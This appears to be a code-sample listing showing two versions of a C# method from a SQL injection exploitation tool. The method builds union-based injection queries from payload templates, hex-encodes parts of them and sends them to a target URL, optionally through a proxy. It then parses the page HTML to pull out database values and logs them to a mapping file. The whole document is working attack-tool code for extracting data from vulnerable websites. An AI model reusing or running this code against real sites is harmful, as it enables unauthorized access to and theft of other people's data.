Example #1
0
        public string GetSingleCustomQueryResultRow(int startingFrom)
        {
            string result = string.Empty;

            string generatedPayload = PayloadDetails.Payload;

            if (PayloadDetails.Params != null && PayloadDetails.Params.Count() > 0)
            {
                foreach (var param in PayloadDetails.Params)
                {
                    generatedPayload = generatedPayload.Replace("{" + param.Position + "}", PayloadHelpers.GetData(param.Name, this));
                }
            }

            if (PayloadDetails.ExpectedResultType == Enums.ExpectedResultType.Multiple)
            {
                generatedPayload = string.Format(PayloadHelpers.GetSingleResultLimiter(PayloadDetails.Dbms),
                                                 generatedPayload, startingFrom);
            }

            string query    = QueryHelper.CreateQuery(Url, ExploitDetails.Exploit, generatedPayload);
            string pageHtml = QueryRunner.GetPageHtml(query, UseProxy ? ProxyDetails : null);

            result = HtmlHelpers.GetAnswerFromHtml(pageHtml, query, ExploitDetails, DetailedExceptions);
            //@TODO: strip scripts
            if (!string.IsNullOrEmpty(MappingFile) && !string.IsNullOrEmpty(result))
            {
                XmlHelpers.SaveToMappingFile(MappingFile, PayloadDetails, result, this,
                                             (this.ExploitDetails != null) ? this.ExploitDetails.Dbms : string.Empty);
            }

            return(result);
        }
Example #2
0
        public string GetSingleCustomQueryResultRow(int startingFrom)
        {
            string        results  = string.Empty;
            StringBuilder sbResult = new StringBuilder();

            string generatedPayload = PayloadDetails.Payload;

            if (PayloadDetails.Params != null && PayloadDetails.Params.Count() > 0)
            {
                foreach (var param in PayloadDetails.Params)
                {
                    generatedPayload = generatedPayload.Replace("{" + param.Position + "}", PayloadHelpers.GetData(param.Name, this));
                }
            }


            StringBuilder sbCurExploit = new StringBuilder();

            int    columnIndexCounter        = 0;
            string generatedPayloadWithLimit = string.Empty;

            for (int j = 0; j < _nrCols; j++)
            {
                if (PayloadDetails.ExpectedResultType == Enums.ExpectedResultType.Multiple)
                {
                    generatedPayloadWithLimit = string.Format(PayloadHelpers.GetSingleResultLimiter(PayloadDetails.Dbms), generatedPayload, startingFrom + j);
                }

                if (_visibleColumnIndexes.Contains(j))
                {
                    /*
                     * sbCurExploit.AppendFormat(GeneralPayloads.UnionBasedSelectCountedResultWrapper, _visibleColumnIndexes[columnIndexCounter],
                     *  (PayloadDetails.ExpectedResultType == Enums.ExpectedResultType.Multiple) ? generatedPayloadWithLimit : generatedPayload);
                     */

                    sbCurExploit.Append(GeneralPayloads.UnionBasedSelectCountedResultWrapperPart1);
                    sbCurExploit.Append(UrlHelpers.HexEncodeValue(string.Format(GeneralPayloads.UnionBasedSelectCountedResultWrapperPart2,
                                                                                _visibleColumnIndexes[columnIndexCounter])));
                    sbCurExploit.AppendFormat(GeneralPayloads.UnionBasedSelectCountedResultWrapperPart3,
                                              (PayloadDetails.ExpectedResultType == Enums.ExpectedResultType.Multiple) ? generatedPayloadWithLimit : generatedPayload);

                    columnIndexCounter++;
                }
                else
                {
                    sbCurExploit.AppendFormat(j.ToString());
                }

                if (j < _nrCols - 1)
                {
                    sbCurExploit.Append(",");
                }
            }


            string         query        = QueryHelper.CreateQuery(Url, ExploitDetails.Exploit, sbCurExploit.ToString());
            string         pageHtml     = QueryRunner.GetPageHtml(query, UseProxy ? ProxyDetails : null);
            IList <string> resultsBatch = HtmlHelpers.GetMultipleAnswersFromHtml(pageHtml, query, ExploitDetails, DetailedExceptions);

            string      actualValue       = string.Empty;
            int         separatorIndex    = 0;
            int         columnIndex       = 0;
            string      columnIndexString = "";
            IList <int> columnsProcessed  = new List <int>();

            foreach (string singleResult in resultsBatch)
            {
                //@TODO: strip scripts
                separatorIndex = singleResult.IndexOf(GeneralPayloads.UnionBasedResultSeparator);
                if (separatorIndex != -1)
                {
                    columnIndexString = singleResult.Substring(0, separatorIndex);
                    if (!int.TryParse(columnIndexString, out columnIndex))
                    {
                        continue;
                    }

                    if (columnsProcessed.Contains(columnIndex))
                    {
                        continue;
                    }
                    else
                    {
                        columnsProcessed.Add(columnIndex);
                    }

                    actualValue = singleResult.Substring(separatorIndex + GeneralPayloads.UnionBasedResultSeparator.Length);

                    if (!string.IsNullOrEmpty(MappingFile))
                    {
                        XmlHelpers.SaveToMappingFile(MappingFile, PayloadDetails, actualValue, this,
                                                     (this.ExploitDetails != null) ? this.ExploitDetails.Dbms : string.Empty);
                    }

                    sbResult.Append(actualValue);
                    sbResult.Append(Environment.NewLine);
                }

                if (columnsProcessed.Count == _visibleColumnIndexes.Count)
                {
                    break;
                }
            }
            return(sbResult.ToString());
        }